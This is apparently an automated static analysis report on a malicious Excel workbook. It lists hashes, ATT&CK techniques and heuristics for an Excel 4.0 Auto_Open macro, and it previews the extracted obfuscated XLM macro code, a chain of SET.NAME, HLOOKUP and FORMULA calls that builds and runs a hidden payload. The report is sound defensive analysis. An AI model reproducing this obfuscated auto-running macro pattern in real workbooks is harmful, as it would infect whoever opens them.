Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4a2bd8eefd6d99d4…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:45:57 Authoring application: Microsoft Excel First seen: 2021-08-25
MD5: 4e08c617b1df3a821ec96bbe7a6ae1d4 SHA-1: f90d58e4f3be0fea0dce49f8108750ed95f26e08 SHA-256: 4a2bd8eefd6d99d44b26f903dcfbc7b994ef63b0a854808e0afe8a3d9ee57173
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open function, which is a known method for executing malicious code. The presence of dangerous formula APIs like RUN indicates an intent to execute arbitrary commands. The macro sheet itself contains obfuscated data, suggesting an attempt to hide the malicious payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6590 bytes
SHA-256: 4ce4e4c7334023599c88380781967cd34fed19795c35be427da4431c451c4f41
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  XbHqSuWo
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A172 
' 0018     27 LABEL : Cell Value, String Constant - cPmnKKrzOwpJ len=0 
' 0018     27 LABEL : Cell Value, String Constant - dwWkcETUEVHG len=0 
' 0018     23 LABEL : Cell Value, String Constant - eNurkFKU len=0 
' 0018     23 LABEL : Cell Value, String Constant - feUEiAer len=0 
' 0018     27 LABEL : Cell Value, String Constant - fXUAokHbsHjl len=0 
' 0018     26 LABEL : Cell Value, String Constant - GozuyaHEZvK len=0 
' 0018     22 LABEL : Cell Value, String Constant - gSHaUwm len=0 
' 0018     26 LABEL : Cell Value, String Constant - hFuqvWEcnUw len=0 
' 0018     20 LABEL : Cell Value, String Constant - JQnyt len=0 
' 0018     22 LABEL : Cell Value, String Constant - KGPmTQU len=0 
' 0018     26 LABEL : Cell Value, String Constant - kHDAIUecZUi len=0 
' 0018     21 LABEL : Cell Value, String Constant - PwHzbD len=0 
' 0018     25 LABEL : Cell Value, String Constant - QERjjHrRWp len=0 
' 0018     24 LABEL : Cell Value, String Constant - qKeYQULgI len=0 
' 0018     23 LABEL : Cell Value, String Constant - RpzcTPtH len=0 
' 0018     22 LABEL : Cell Value, String Constant - SxkFCKZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - ukFLZzxbIt len=0 
' 0018     25 LABEL : Cell Value, String Constant - uVJPCtrdrM len=0 
' 0018     25 LABEL : Cell Value, String Constant - VeFaNIgqmR len=0 
' 0018     24 LABEL : Cell Value, String Constant - VtnbUeKVh len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  XbHqSuWo,A86,"SET.NAME("hFuqvWEcnUw",VALUE("0"))",""
'  XbHqSuWo,A89,"SET.NAME("KGPmTQU",hFuqvWEcnUw)",""
'  XbHqSuWo,A92,"SET.NAME("RpzcTPtH",hFuqvWEcnUw)",""
'  XbHqSuWo,A96,"SET.NAME("ukFLZzxbIt",COUNTA(GozuyaHEZvK))",""
'  XbHqSuWo,A100,"SET.NAME("VeFaNIgqmR",COUNTA(cPmnKKrzOwpJ))",""
'  XbHqSuWo,A104,[],""
'  XbHqSuWo,A108,"SET.NAME("PwHzbD","")",""
'  XbHqSuWo,A111,"KGPmTQU",""
'  XbHqSuWo,A115,"SET.NAME("qKeYQULgI",HLOOKUP("*",GozuyaHEZvK,KGPmTQU,FALSE))",""
'  XbHqSuWo,A119,"fXUAokHbsHjl",""
'  XbHqSuWo,A122,"SET.NAME("uVJPCtrdrM",hFuqvWEcnUw)",""
'  XbHqSuWo,A126,[],""
'  XbHqSuWo,A128,"uVJPCtrdrM",""
'  XbHqSuWo,A132,"SxkFCKZ",""
'  XbHqSuWo,A134,"dwWkcETUEVHG",""
'  XbHqSuWo,A137,"kHDAIUecZUi",""
'  XbHqSuWo,A139,"SET.NAME("gSHaUwm",VALUE(HLOOKUP("*",cPmnKKrzOwpJ,kHDAIUecZUi,FALSE)))",""
'  XbHqSuWo,A144,"JQnyt",""
'  XbHqSuWo,A146,"PwHzbD",""
'  XbHqSuWo,A148,"RpzcTPtH",""
'  XbHqSuWo,A153,NEXT(),""
'  XbHqSuWo,A155,"VtnbUeKVh",""
'  XbHqSuWo,A158,"SET.NAME("f",INT(T(FORMULA(T(PwHzbD)&"",""&T(VtnbUeKVh)))))",""
'  XbHqSuWo,A162,"feUEiAer",""
'  XbHqSuWo,A166,NEXT(),""
'  XbHqSuWo,A169,RETURN(),""
'  XbHqSuWo,A199,"SET.NAME("QERjjHrRWp",A86)",""
'  XbHqSuWo,A204,"GozuyaHEZvK",""
'  XbHqSuWo,A208,"SET.NAME("cPmnKKrzOwpJ",R56C11)",""
'  XbHqSuWo,A212,"SET.NAME("feUEiAer",220)",""
'  XbHqSuWo,A215,"SET.NAME("eNurkFKU",1)",""
'  XbHqSuWo,A219,QERjjHrRWp(),""
'  XbHqSuWo,A220,HALT(),""